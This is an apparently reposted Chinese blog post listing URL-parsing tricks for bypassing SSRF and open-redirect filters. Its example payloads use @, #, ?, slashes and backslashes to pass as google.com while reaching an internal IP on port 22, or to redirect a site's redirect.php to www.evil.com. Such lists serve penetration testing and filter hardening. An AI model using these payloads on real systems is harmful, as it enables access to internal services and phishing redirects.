SSRF、URL跳转Bypass

最新推荐文章于 2025-07-17 19:45:08 发布

转载最新推荐文章于 2025-07-17 19:45:08 发布 · 2.2k 阅读

本文探讨了在特定限制条件下，如何通过URL绕过技巧访问受限资源。详细介绍了使用/、.、@等特殊字符进行绕过的多种方法，并提供了具体的绕过示例。

http://google.com:80+&@127.88.23.245:22/#+@google.com:80/

http://127.88.23.245:22/+&@google.com:80#+@google.com:80/

http://google.com:80+&@google.com:80#+@127.88.23.245:22/

http://127.88.23.245:22/?@google.com:80/

http://127.88.23.245:22/#@www.google.com:80/

另外，某些情形下，可能对域名做了限制，这时候可以尝试绕过，这里绕过的技巧类似URL重定向绕过或SSRF绕过技巧。主要说一下畸形构造绕过，当然也可以Fuzzing，畸形构造主要涉及如下字符：";"、 "/"、"\"、"?"、":"、"@"、"="、"&"、"."。常见bypass方式：

a. 单斜线"/"绕过

https://www.xxx.com/redirect.php?url=/www.evil.com

b. 缺少协议绕过

https://www.xxx.com/redirect.php?url=//www.evil.com

c. 多斜线"/"前缀绕过

https://www.xxx.com/redirect.php?url=///www.evil.com

https://www.xxx.com/redirect.php?url=////www.evil.com

d. 利用"@"符号绕过

https://www.xxx.com/redirect.php?url=https://www.xxx.com@www.evil.com

e. 利用反斜线"\"绕过

https://www.xxx.com/redirect.php?url=https://www.evil.com\https://www.xxx.com/